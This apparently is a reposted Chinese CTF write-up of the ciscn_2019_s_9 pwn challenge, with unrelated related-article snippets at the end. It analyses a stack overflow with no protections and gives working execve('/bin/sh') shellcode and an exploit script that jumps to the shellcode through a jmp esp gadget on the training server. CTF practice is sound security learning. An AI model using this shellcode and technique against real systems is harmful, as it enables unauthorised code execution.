ciscn_2019_s_9

ciscn_2019_s_9

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

32位,啥也没开,开心愉悦写shellcode

int pwn()
{char s[24]; // [esp+8h] [ebp-20h]puts("\nHey! ^_^");puts("\nIt's nice to meet you");puts("\nDo you have anything to tell?");puts(">");fflush(stdout);fgets(s, 0x32, stdin);puts("OK bye~");fflush(stdout);return 1;
}

程序主要在这里,栈溢出,写shellcode进去然后执行,发现有个hint

.text:08048551                 push    ebp
.text:08048552                 mov     ebp, esp
.text:08048554                 jmp     esp
.text:08048554 hint            endp
.text:08048554
.text:08048554 ; ---------------------------------------------------------------------------
.text:08048556                 db 90h
.text:08048557 ; ---------------------------------------------------------------------------
.text:08048557                 pop     ebp
.text:08048558                 retn
.text:08048558 ; } // starts at 8048551

这里有个jmp,ok好办了

思路

写shellcode,然后用jmp跳转到shellcode的头,然后执行shellcode

因为栈只有0x20大小,所以不能使用pwntools生成的shellcode

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

这个是0x17大小的shellcode,平时收集的

#from pwn import*
#from Yapack import *
r,elf=rec("node4.buuoj.cn",28508,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
#debug('b *0x400649')
#debug('b *$rebase(0x1373)')sc=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
pl=ljust(sc,0x24)+p32(0x8048554)+asm('sub esp,0x28;call esp')
sla(b'>',pl)ia()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/92283.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux vi编辑器的使用

文章目录 vi的简单使用打开编辑器编辑文件保存退出文件取消编辑删除内容复制粘贴移动光标搜索替换撤销和恢复 讨论 vi是linux系统上最基本的文本编辑器,类似于windows下的notepad(记事本)编辑器;vi编辑器工作在字符模式下&#xf…

智能回答机器人的“智能”体现在哪里?

人工智能的广泛应用已经成为当今社会科技发展的趋势之一。通过人工智能技术,我们可以在不同领域中实现自动化、智能化和高效化,从而大大提升生产和生活效率。智能回答机器人的出现和使用便能很好的证明这一点。今天我们就来探讨一下智能会打机器人的“智…

python爬取百度图片

1.查询数据 打开网页。 https://cn.bing.com/images/search?q%E7%99%BE%E5%BA%A6%E5%9B%BE%E7%89%87&formHDRSC2&first1&cw1585&ch924 我们右键查看网页源代码,发现能找到我们需要的img衔接,但是这是一个动态网页。我们每次向下滑动网页,会发现图…

C++核心编程--多态篇

4.7、多态 4.7.1、多态的基本概念 多态是C面向对象三大特征之一 多态分为两类 静态多态:函数重载和运算符重载属于静态多态,复用函数名动态多态:派生类和虚函数实现运行时多态 静态多态和动态多态区别: 静态多态的函数地址早…

校物联网智慧安全用电平台的设计和运用-安科瑞黄安南

一.前言 安全用电历来都是学校安全工作的一个重点,然而每年因此发生的人身伤害以及火灾事故却在继续着,究其原因,主观上是我们的防患意识淡薄,客观上则是由于学生在宿舍使用违规电器、乱拉电线造成的。 现代的大学生宿舍&#x…

Linux网络编程- struct ifreq ioctl() 系统调用

struct ifreq struct ifreq 是一个数据结构&#xff0c;用于各种与接口相关的输入/输出控制 (ioctl) 调用。它的主要用途是在网络编程中获取和设置网络接口的属性。这个结构体在 <net/if.h> 头文件中定义。 以下是 struct ifreq 的一些主要字段和它们的用途&#xff1a…

【生物信息学】使用谱聚类(Spectral Clustering)算法进行聚类分析

目录 一、实验介绍 二、实验环境 1. 配置虚拟环境 2. 库版本介绍 3. IDE 三、实验内容 0. 导入必要的工具 1. 生成测试数据 2. 绘制初始数据分布图 3. 循环尝试不同的参数组合并计算聚类效果 4. 输出最佳参数组合 5. 绘制最佳聚类结果图 6. 代码整合 一、实验介绍…

HashMap底层源码,数据结构

HashMap的底层结构在jdk1.7中由数组链表实现&#xff0c;在jdk1.8中由数组链表红黑树实现&#xff0c;以数组链表的结构为例。 JDK1.8之前Put方法&#xff1a; JDK1.8之后Put方法&#xff1a; HashMap基于哈希表的Map接口实现&#xff0c;是以key-value存储形式存在&#xff0c…

K8S内容分发网络之集群,nginx,负载均衡,防火墙

K8S内容分发网络之集群&#xff0c;nginx&#xff0c;负载均衡&#xff0c;防火墙 一、Kubernetes 区域可采用 Kubeadm 方式进行安装。1.所有节点&#xff0c;关闭防火墙规则&#xff0c;关闭selinux&#xff0c;关闭swap交换2.修改主机名3.所有节点修改hosts文件4.调整内核参数…

闪击笔试题

选择题 ping命令不涉及什么协议? A&#xff1a;DNS B: TCP C: ARP D: ICMP B&#xff0c;ping基于ICMP协议&#xff0c;解析路由会用到ARP和DNS a、b、c三人参加学科竞赛&#xff0c;每个学科按一二三名次给x、y、z分&#xff0c;已知a得22分&#xff0c;b和c得9分&#xf…

【图论C++】链式前向星(图(树)的存储)

/*** file * author jUicE_g2R(qq:3406291309)————彬(bin-必应)* 一个某双流一大学通信与信息专业大二在读 * * brief 一直在竞赛算法学习的路上* * copyright 2023.9* COPYRIGHT 原创技术笔记&#xff1a;转载需获得博主本人…

人工智能的学习算法

1956年&#xff0c;几个计算机科学家相聚在达特茅斯会议&#xff0c;提出了 “人工智能” 的概念&#xff0c;梦想着用当时刚刚出现的计算机来构造复杂的、拥有与人类智慧同样本质特性的机器。其后&#xff0c;人工智能就一直萦绕于人们的脑海之中&#xff0c;并在科研实验室中…

数组和切⽚ - Go语言从入门到实战

数组和切⽚ - Go语言从入门到实战 数组的声明 package main import "fmt" func main() { var a [3]int //声明并初始化为默认零值 a[0] 1 fmt.Println("a:", a) // 输出: a: [1 0 0] b : [3]int{1, 2, 3} //声明同时初始化 fmt.Println("b:…

Java之多线程综合练习小题一

2. 多线程综合练习 练习一&#xff1a;售票 需求&#xff1a; 一共有1000张电影票,可以在两个窗口领取,假设每次领取的时间为3000毫秒, 请用多线程模拟卖票过程并打印剩余电影票的数量 代码示例&#xff1a; public class MyThread extends Thread { ​//第一种方式实现多…

Airtool for Mac——高效便捷的系统菜单栏网络工具!

在我们的数字化生活中&#xff0c;对于网络连接的稳定性和速度有着越来越高的需求。为了满足您对网络质量的实时监测和分析的需求&#xff0c;我们向大家介绍一款强大的Mac系统菜单栏网络工具——Airtool&#xff01; Airtool是一款专为Mac设计的网络工具&#xff0c;它能够提…

Python 笔记07(Mysql数据库基本操作)

一 数据插入 1.1 创建数据列 1.1.1 选择数据库 USE test_data; 1.1.2 插入数据列 ALTER TABLE test_data_info ADD COLUMN stuno INT, ADD COLUMN stuname VARCHAR(255), ADD COLUMN gender VARCHAR(10);1.2 插入具体数据 import MySQLdb# 创建数据库连接 # 主机IP&…

番外5:下载+安装+配置Linux

任务前期工作&#xff1a; 01. 电脑已安装好VMware Workstation软件&#xff1b; 02.提前下载好Rhel-8.iso映像文件&#xff08;文件较大一般在9.4GB&#xff0c;建议采用迅雷下载&#xff09;&#xff0c;本人使用的以下版本&#xff08;地址ed2k://|file|rhel-8.4-x86_64-dvd…

基于PHP+MySQL的养老院管理系统

摘要 随着21世纪互联网时代的兴起&#xff0c;我们见证了人们生活方式的巨大改变。这个时代不仅深刻影响了我们的生活&#xff0c;还改变了我们对信息科学的看法。社会的各个领域都在不断发展&#xff0c;人们的思维也在不断进步&#xff0c;与此同时&#xff0c;信息的需求也与…

rust智能指针

一、智能指针是什么 指针是一个存储内存地址的变量。这个地址指向一些其他数据。 智能指针是一类数据结构&#xff0c;它们类似指针&#xff0c;但是拥有额外的功能。智能指针的概念起源于C。Rust标准库提供了许多智能指针&#xff0c;比如String和Vec<T>&#xff0c;虽…

【React】React组件生命周期以及触发顺序(部分与vue做比较)

最近在学习React&#xff0c;发现其中的生命周期跟Vue有一些共同点&#xff0c;但也有比较明显的区别&#xff0c;并且执行顺序也值得讨论一下&#xff0c;于是总结了一些资料在这里&#xff0c;作为学习记录。 v17.0.1后生命周期图片 初始化阶段 由ReactDOM.render()触发 —…